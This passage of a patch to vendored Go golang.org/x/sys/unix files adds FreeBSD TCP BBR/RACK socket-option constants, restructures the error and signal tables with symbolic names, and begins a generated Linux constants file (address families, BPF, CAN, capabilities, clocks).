-+ TCP_BBR_MIN_RTO = 0x438
-+ TCP_BBR_ONE_RETRAN = 0x431
-+ TCP_BBR_PACE_CROSS = 0x442
-+ TCP_BBR_PACE_DEL_TAR = 0x43f
-+ TCP_BBR_PACE_PER_SEC = 0x43e
-+ TCP_BBR_PACE_SEG_MAX = 0x440
-+ TCP_BBR_PACE_SEG_MIN = 0x441
-+ TCP_BBR_PROBE_RTT_GAIN = 0x44d
-+ TCP_BBR_PROBE_RTT_INT = 0x430
-+ TCP_BBR_PROBE_RTT_LEN = 0x44e
-+ TCP_BBR_RACK_RTT_USE = 0x44a
-+ TCP_BBR_RECFORCE = 0x42c
-+ TCP_BBR_REC_OVER_HPTS = 0x43a
-+ TCP_BBR_RETRAN_WTSO = 0x44b
-+ TCP_BBR_RWND_IS_APP = 0x42f
-+ TCP_BBR_STARTUP_EXIT_EPOCH = 0x43d
-+ TCP_BBR_STARTUP_LOSS_EXIT = 0x432
-+ TCP_BBR_STARTUP_PG = 0x42d
-+ TCP_BBR_UNLIMITED = 0x43b
-+ TCP_BBR_USEDEL_RATE = 0x437
-+ TCP_BBR_USE_LOWGAIN = 0x433
- TCP_CA_NAME_MAX = 0x10
- TCP_CCALGOOPT = 0x41
- TCP_CONGESTION = 0x40
-+ TCP_DATA_AFTER_CLOSE = 0x44c
-+ TCP_DELACK = 0x48
- TCP_FASTOPEN = 0x401
-+ TCP_FASTOPEN_MAX_COOKIE_LEN = 0x10
-+ TCP_FASTOPEN_MIN_COOKIE_LEN = 0x4
-+ TCP_FASTOPEN_PSK_LEN = 0x10
- TCP_FUNCTION_BLK = 0x2000
- TCP_FUNCTION_NAME_LEN_MAX = 0x20
- TCP_INFO = 0x20
-@@ -1317,6 +1501,12 @@ const (
- TCP_KEEPIDLE = 0x100
- TCP_KEEPINIT = 0x80
- TCP_KEEPINTVL = 0x200
-+ TCP_LOG = 0x22
-+ TCP_LOGBUF = 0x23
-+ TCP_LOGDUMP = 0x25
-+ TCP_LOGDUMPID = 0x26
-+ TCP_LOGID = 0x24
-+ TCP_LOG_ID_LEN = 0x40
- TCP_MAXBURST = 0x4
- TCP_MAXHLEN = 0x3c
- TCP_MAXOLEN = 0x28
-@@ -1332,8 +1522,30 @@ const (
- TCP_NOPUSH = 0x4
- TCP_PCAP_IN = 0x1000
- TCP_PCAP_OUT = 0x800
-+ TCP_RACK_EARLY_RECOV = 0x423
-+ TCP_RACK_EARLY_SEG = 0x424
-+ TCP_RACK_IDLE_REDUCE_HIGH = 0x444
-+ TCP_RACK_MIN_PACE = 0x445
-+ TCP_RACK_MIN_PACE_SEG = 0x446
-+ TCP_RACK_MIN_TO = 0x422
-+ TCP_RACK_PACE_ALWAYS = 0x41f
-+ TCP_RACK_PACE_MAX_SEG = 0x41e
-+ TCP_RACK_PACE_REDUCE = 0x41d
-+ TCP_RACK_PKT_DELAY = 0x428
-+ TCP_RACK_PROP = 0x41b
-+ TCP_RACK_PROP_RATE = 0x420
-+ TCP_RACK_PRR_SENDALOT = 0x421
-+ TCP_RACK_REORD_FADE = 0x426
-+ TCP_RACK_REORD_THRESH = 0x425
-+ TCP_RACK_SESS_CWV = 0x42a
-+ TCP_RACK_TLP_INC_VAR = 0x429
-+ TCP_RACK_TLP_REDUCE = 0x41c
-+ TCP_RACK_TLP_THRESH = 0x427
-+ TCP_RACK_TLP_USE = 0x447
- TCP_VENDOR = 0x80000000
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
- TIOCCONS = 0x80047462
-@@ -1397,6 +1609,8 @@ const (
- TIOCTIMESTAMP = 0x40107459
- TIOCUCNTL = 0x80047466
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1408,6 +1622,7 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_BCACHE_SIZE_MAX = 0x19000000
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1570,138 +1785,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux.go b/vendor/golang.org/x/sys/unix/zerrors_linux.go
-new file mode 100644
-index 00000000..21973940
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux.go
-@@ -0,0 +1,2469 @@
-+// Code generated by mkmerge.go; DO NOT EDIT.
-+
-+// +build linux
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ AAFS_MAGIC = 0x5a3c69f0
-+ ADFS_SUPER_MAGIC = 0xadf5
-+ AFFS_SUPER_MAGIC = 0xadff
-+ AFS_FS_MAGIC = 0x6b414653
-+ AFS_SUPER_MAGIC = 0x5346414f
-+ AF_ALG = 0x26
-+ AF_APPLETALK = 0x5
-+ AF_ASH = 0x12
-+ AF_ATMPVC = 0x8
-+ AF_ATMSVC = 0x14
-+ AF_AX25 = 0x3
-+ AF_BLUETOOTH = 0x1f
-+ AF_BRIDGE = 0x7
-+ AF_CAIF = 0x25
-+ AF_CAN = 0x1d
-+ AF_DECnet = 0xc
-+ AF_ECONET = 0x13
-+ AF_FILE = 0x1
-+ AF_IB = 0x1b
-+ AF_IEEE802154 = 0x24
-+ AF_INET = 0x2
-+ AF_INET6 = 0xa
-+ AF_IPX = 0x4
-+ AF_IRDA = 0x17
-+ AF_ISDN = 0x22
-+ AF_IUCV = 0x20
-+ AF_KCM = 0x29
-+ AF_KEY = 0xf
-+ AF_LLC = 0x1a
-+ AF_LOCAL = 0x1
-+ AF_MAX = 0x2d
-+ AF_MPLS = 0x1c
-+ AF_NETBEUI = 0xd
-+ AF_NETLINK = 0x10
-+ AF_NETROM = 0x6
-+ AF_NFC = 0x27
-+ AF_PACKET = 0x11
-+ AF_PHONET = 0x23
-+ AF_PPPOX = 0x18
-+ AF_QIPCRTR = 0x2a
-+ AF_RDS = 0x15
-+ AF_ROSE = 0xb
-+ AF_ROUTE = 0x10
-+ AF_RXRPC = 0x21
-+ AF_SECURITY = 0xe
-+ AF_SMC = 0x2b
-+ AF_SNA = 0x16
-+ AF_TIPC = 0x1e
-+ AF_UNIX = 0x1
-+ AF_UNSPEC = 0x0
-+ AF_VSOCK = 0x28
-+ AF_WANPIPE = 0x19
-+ AF_X25 = 0x9
-+ AF_XDP = 0x2c
-+ ALG_OP_DECRYPT = 0x0
-+ ALG_OP_ENCRYPT = 0x1
-+ ALG_SET_AEAD_ASSOCLEN = 0x4
-+ ALG_SET_AEAD_AUTHSIZE = 0x5
-+ ALG_SET_IV = 0x2
-+ ALG_SET_KEY = 0x1
-+ ALG_SET_OP = 0x3
-+ ANON_INODE_FS_MAGIC = 0x9041934
-+ ARPHRD_6LOWPAN = 0x339
-+ ARPHRD_ADAPT = 0x108
-+ ARPHRD_APPLETLK = 0x8
-+ ARPHRD_ARCNET = 0x7
-+ ARPHRD_ASH = 0x30d
-+ ARPHRD_ATM = 0x13
-+ ARPHRD_AX25 = 0x3
-+ ARPHRD_BIF = 0x307
-+ ARPHRD_CAIF = 0x336
-+ ARPHRD_CAN = 0x118
-+ ARPHRD_CHAOS = 0x5
-+ ARPHRD_CISCO = 0x201
-+ ARPHRD_CSLIP = 0x101
-+ ARPHRD_CSLIP6 = 0x103
-+ ARPHRD_DDCMP = 0x205
-+ ARPHRD_DLCI = 0xf
-+ ARPHRD_ECONET = 0x30e
-+ ARPHRD_EETHER = 0x2
-+ ARPHRD_ETHER = 0x1
-+ ARPHRD_EUI64 = 0x1b
-+ ARPHRD_FCAL = 0x311
-+ ARPHRD_FCFABRIC = 0x313
-+ ARPHRD_FCPL = 0x312
-+ ARPHRD_FCPP = 0x310
-+ ARPHRD_FDDI = 0x306
-+ ARPHRD_FRAD = 0x302
-+ ARPHRD_HDLC = 0x201
-+ ARPHRD_HIPPI = 0x30c
-+ ARPHRD_HWX25 = 0x110
-+ ARPHRD_IEEE1394 = 0x18
-+ ARPHRD_IEEE802 = 0x6
-+ ARPHRD_IEEE80211 = 0x321
-+ ARPHRD_IEEE80211_PRISM = 0x322
-+ ARPHRD_IEEE80211_RADIOTAP = 0x323
-+ ARPHRD_IEEE802154 = 0x324
-+ ARPHRD_IEEE802154_MONITOR = 0x325
-+ ARPHRD_IEEE802_TR = 0x320
-+ ARPHRD_INFINIBAND = 0x20
-+ ARPHRD_IP6GRE = 0x337
-+ ARPHRD_IPDDP = 0x309
-+ ARPHRD_IPGRE = 0x30a
-+ ARPHRD_IRDA = 0x30f
-+ ARPHRD_LAPB = 0x204
-+ ARPHRD_LOCALTLK = 0x305
-+ ARPHRD_LOOPBACK = 0x304
-+ ARPHRD_METRICOM = 0x17
-+ ARPHRD_NETLINK = 0x338
-+ ARPHRD_NETROM = 0x0
-+ ARPHRD_NONE = 0xfffe
-+ ARPHRD_PHONET = 0x334
-+ ARPHRD_PHONET_PIPE = 0x335
-+ ARPHRD_PIMREG = 0x30b
-+ ARPHRD_PPP = 0x200
-+ ARPHRD_PRONET = 0x4
-+ ARPHRD_RAWHDLC = 0x206
-+ ARPHRD_RAWIP = 0x207
-+ ARPHRD_ROSE = 0x10e
-+ ARPHRD_RSRVD = 0x104
-+ ARPHRD_SIT = 0x308
-+ ARPHRD_SKIP = 0x303
-+ ARPHRD_SLIP = 0x100
-+ ARPHRD_SLIP6 = 0x102
-+ ARPHRD_TUNNEL = 0x300
-+ ARPHRD_TUNNEL6 = 0x301
-+ ARPHRD_VOID = 0xffff
-+ ARPHRD_VSOCKMON = 0x33a
-+ ARPHRD_X25 = 0x10f
-+ AUTOFS_SUPER_MAGIC = 0x187
-+ B0 = 0x0
-+ B110 = 0x3
-+ B1200 = 0x9
-+ B134 = 0x4
-+ B150 = 0x5
-+ B1800 = 0xa
-+ B19200 = 0xe
-+ B200 = 0x6
-+ B2400 = 0xb
-+ B300 = 0x7
-+ B38400 = 0xf
-+ B4800 = 0xc
-+ B50 = 0x1
-+ B600 = 0x8
-+ B75 = 0x2
-+ B9600 = 0xd
-+ BALLOON_KVM_MAGIC = 0x13661366
-+ BDEVFS_MAGIC = 0x62646576
-+ BINDERFS_SUPER_MAGIC = 0x6c6f6f70
-+ BINFMTFS_MAGIC = 0x42494e4d
-+ BPF_A = 0x10
-+ BPF_ABS = 0x20
-+ BPF_ADD = 0x0
-+ BPF_ADJ_ROOM_ENCAP_L2_MASK = 0xff
-+ BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 0x38
-+ BPF_ALU = 0x4
-+ BPF_ALU64 = 0x7
-+ BPF_AND = 0x50
-+ BPF_ANY = 0x0
-+ BPF_ARSH = 0xc0
-+ BPF_B = 0x10
-+ BPF_BUILD_ID_SIZE = 0x14
-+ BPF_CALL = 0x80
-+ BPF_DEVCG_ACC_MKNOD = 0x1
-+ BPF_DEVCG_ACC_READ = 0x2
-+ BPF_DEVCG_ACC_WRITE = 0x4
-+ BPF_DEVCG_DEV_BLOCK = 0x1
-+ BPF_DEVCG_DEV_CHAR = 0x2
-+ BPF_DIV = 0x30
-+ BPF_DW = 0x18
-+ BPF_END = 0xd0
-+ BPF_EXIST = 0x2
-+ BPF_EXIT = 0x90
-+ BPF_FLOW_DISSECTOR_F_PARSE_1ST_FRAG = 0x1
-+ BPF_FLOW_DISSECTOR_F_STOP_AT_ENCAP = 0x4
-+ BPF_FLOW_DISSECTOR_F_STOP_AT_FLOW_LABEL = 0x2
-+ BPF_FROM_BE = 0x8
-+ BPF_FROM_LE = 0x0
-+ BPF_FS_MAGIC = 0xcafe4a11
-+ BPF_F_ADJ_ROOM_ENCAP_L3_IPV4 = 0x2
-+ BPF_F_ADJ_ROOM_ENCAP_L3_IPV6 = 0x4
-+ BPF_F_ADJ_ROOM_ENCAP_L4_GRE = 0x8
-+ BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 0x10
-+ BPF_F_ADJ_ROOM_FIXED_GSO = 0x1
-+ BPF_F_ALLOW_MULTI = 0x2
-+ BPF_F_ALLOW_OVERRIDE = 0x1
-+ BPF_F_ANY_ALIGNMENT = 0x2
-+ BPF_F_CLONE = 0x200
-+ BPF_F_CTXLEN_MASK = 0xfffff00000000
-+ BPF_F_CURRENT_CPU = 0xffffffff
-+ BPF_F_CURRENT_NETNS = -0x1
-+ BPF_F_DONT_FRAGMENT = 0x4
-+ BPF_F_FAST_STACK_CMP = 0x200
-+ BPF_F_HDR_FIELD_MASK = 0xf
-+ BPF_F_INDEX_MASK = 0xffffffff
-+ BPF_F_INGRESS = 0x1
-+ BPF_F_INVALIDATE_HASH = 0x2
-+ BPF_F_LOCK = 0x4
-+ BPF_F_MARK_ENFORCE = 0x40
-+ BPF_F_MARK_MANGLED_0 = 0x20
-+ BPF_F_MMAPABLE = 0x400
-+ BPF_F_NO_COMMON_LRU = 0x2
-+ BPF_F_NO_PREALLOC = 0x1
-+ BPF_F_NUMA_NODE = 0x4
-+ BPF_F_PSEUDO_HDR = 0x10
-+ BPF_F_QUERY_EFFECTIVE = 0x1
-+ BPF_F_RDONLY = 0x8
-+ BPF_F_RDONLY_PROG = 0x80
-+ BPF_F_RECOMPUTE_CSUM = 0x1
-+ BPF_F_REPLACE = 0x4
-+ BPF_F_REUSE_STACKID = 0x400
-+ BPF_F_SEQ_NUMBER = 0x8
-+ BPF_F_SKIP_FIELD_MASK = 0xff
-+ BPF_F_STACK_BUILD_ID = 0x20
-+ BPF_F_STRICT_ALIGNMENT = 0x1
-+ BPF_F_SYSCTL_BASE_NAME = 0x1
-+ BPF_F_TEST_RND_HI32 = 0x4
-+ BPF_F_TEST_STATE_FREQ = 0x8
-+ BPF_F_TUNINFO_IPV6 = 0x1
-+ BPF_F_USER_BUILD_ID = 0x800
-+ BPF_F_USER_STACK = 0x100
-+ BPF_F_WRONLY = 0x10
-+ BPF_F_WRONLY_PROG = 0x100
-+ BPF_F_ZERO_CSUM_TX = 0x2
-+ BPF_F_ZERO_SEED = 0x40
-+ BPF_H = 0x8
-+ BPF_IMM = 0x0
-+ BPF_IND = 0x40
-+ BPF_JA = 0x0
-+ BPF_JEQ = 0x10
-+ BPF_JGE = 0x30
-+ BPF_JGT = 0x20
-+ BPF_JLE = 0xb0
-+ BPF_JLT = 0xa0
-+ BPF_JMP = 0x5
-+ BPF_JMP32 = 0x6
-+ BPF_JNE = 0x50
-+ BPF_JSET = 0x40
-+ BPF_JSGE = 0x70
-+ BPF_JSGT = 0x60
-+ BPF_JSLE = 0xd0
-+ BPF_JSLT = 0xc0
-+ BPF_K = 0x0
-+ BPF_LD = 0x0
-+ BPF_LDX = 0x1
-+ BPF_LEN = 0x80
-+ BPF_LL_OFF = -0x200000
-+ BPF_LSH = 0x60
-+ BPF_MAJOR_VERSION = 0x1
-+ BPF_MAXINSNS = 0x1000
-+ BPF_MEM = 0x60
-+ BPF_MEMWORDS = 0x10
-+ BPF_MINOR_VERSION = 0x1
-+ BPF_MISC = 0x7
-+ BPF_MOD = 0x90
-+ BPF_MOV = 0xb0
-+ BPF_MSH = 0xa0
-+ BPF_MUL = 0x20
-+ BPF_NEG = 0x80
-+ BPF_NET_OFF = -0x100000
-+ BPF_NOEXIST = 0x1
-+ BPF_OBJ_NAME_LEN = 0x10
-+ BPF_OR = 0x40
-+ BPF_PSEUDO_CALL = 0x1
-+ BPF_PSEUDO_MAP_FD = 0x1
-+ BPF_PSEUDO_MAP_VALUE = 0x2
-+ BPF_RET = 0x6
-+ BPF_RSH = 0x70
-+ BPF_SK_STORAGE_GET_F_CREATE = 0x1
-+ BPF_SOCK_OPS_ALL_CB_FLAGS = 0xf
-+ BPF_SOCK_OPS_RETRANS_CB_FLAG = 0x2
-+ BPF_SOCK_OPS_RTO_CB_FLAG = 0x1
-+ BPF_SOCK_OPS_RTT_CB_FLAG = 0x8
-+ BPF_SOCK_OPS_STATE_CB_FLAG = 0x4
-+ BPF_ST = 0x2
-+ BPF_STX = 0x3
-+ BPF_SUB = 0x10
-+ BPF_TAG_SIZE = 0x8
-+ BPF_TAX = 0x0
-+ BPF_TO_BE = 0x8
-+ BPF_TO_LE = 0x0
-+ BPF_TXA = 0x80
-+ BPF_W = 0x0
-+ BPF_X = 0x8
-+ BPF_XADD = 0xc0
-+ BPF_XOR = 0xa0
-+ BRKINT = 0x2
-+ BS0 = 0x0
-+ BTRFS_SUPER_MAGIC = 0x9123683e
-+ BTRFS_TEST_MAGIC = 0x73727279
-+ CAN_BCM = 0x2
-+ CAN_EFF_FLAG = 0x80000000
-+ CAN_EFF_ID_BITS = 0x1d
-+ CAN_EFF_MASK = 0x1fffffff
-+ CAN_ERR_FLAG = 0x20000000
-+ CAN_ERR_MASK = 0x1fffffff
-+ CAN_INV_FILTER = 0x20000000
-+ CAN_ISOTP = 0x6
-+ CAN_J1939 = 0x7
-+ CAN_MAX_DLC = 0x8
-+ CAN_MAX_DLEN = 0x8
-+ CAN_MCNET = 0x5
-+ CAN_MTU = 0x10
-+ CAN_NPROTO = 0x8
-+ CAN_RAW = 0x1
-+ CAN_RAW_FILTER_MAX = 0x200
-+ CAN_RTR_FLAG = 0x40000000
-+ CAN_SFF_ID_BITS = 0xb
-+ CAN_SFF_MASK = 0x7ff
-+ CAN_TP16 = 0x3
-+ CAN_TP20 = 0x4
-+ CAP_AUDIT_CONTROL = 0x1e
-+ CAP_AUDIT_READ = 0x25
-+ CAP_AUDIT_WRITE = 0x1d
-+ CAP_BLOCK_SUSPEND = 0x24
-+ CAP_CHOWN = 0x0
-+ CAP_DAC_OVERRIDE = 0x1
-+ CAP_DAC_READ_SEARCH = 0x2
-+ CAP_FOWNER = 0x3
-+ CAP_FSETID = 0x4
-+ CAP_IPC_LOCK = 0xe
-+ CAP_IPC_OWNER = 0xf
-+ CAP_KILL = 0x5
-+ CAP_LAST_CAP = 0x25
-+ CAP_LEASE = 0x1c
-+ CAP_LINUX_IMMUTABLE = 0x9
-+ CAP_MAC_ADMIN = 0x21
-+ CAP_MAC_OVERRIDE = 0x20
-+ CAP_MKNOD = 0x1b
-+ CAP_NET_ADMIN = 0xc
-+ CAP_NET_BIND_SERVICE = 0xa
-+ CAP_NET_BROADCAST = 0xb
-+ CAP_NET_RAW = 0xd
-+ CAP_SETFCAP = 0x1f
-+ CAP_SETGID = 0x6
-+ CAP_SETPCAP = 0x8
-+ CAP_SETUID = 0x7
-+ CAP_SYSLOG = 0x22
-+ CAP_SYS_ADMIN = 0x15
-+ CAP_SYS_BOOT = 0x16
-+ CAP_SYS_CHROOT = 0x12
-+ CAP_SYS_MODULE = 0x10
-+ CAP_SYS_NICE = 0x17
-+ CAP_SYS_PACCT = 0x14
-+ CAP_SYS_PTRACE = 0x13
-+ CAP_SYS_RAWIO = 0x11
-+ CAP_SYS_RESOURCE = 0x18
-+ CAP_SYS_TIME = 0x19
-+ CAP_SYS_TTY_CONFIG = 0x1a
-+ CAP_WAKE_ALARM = 0x23
-+ CFLUSH = 0xf
-+ CGROUP2_SUPER_MAGIC = 0x63677270
-+ CGROUP_SUPER_MAGIC = 0x27e0eb
-+ CLOCK_BOOTTIME = 0x7
-+ CLOCK_BOOTTIME_ALARM = 0x9
-+ CLOCK_DEFAULT = 0x0
-+ CLOCK_EXT = 0x1
-+ CLOCK_INT = 0x2
-+ CLOCK_MONOTONIC = 0x1
-+ CLOCK_MONOTONIC_COARSE = 0x6
-+ CLOCK_MONOTONIC_RAW = 0x4
-+ CLOCK_PROCESS_CPUTIME_ID = 0x2
-+ CLOCK_REALTIME = 0x0
-+ CLOCK_REALTIME_ALARM = 0x8
-+ CLOCK_REALTIME_COARSE = 0x5
-+ CLOCK_TAI = 0xb
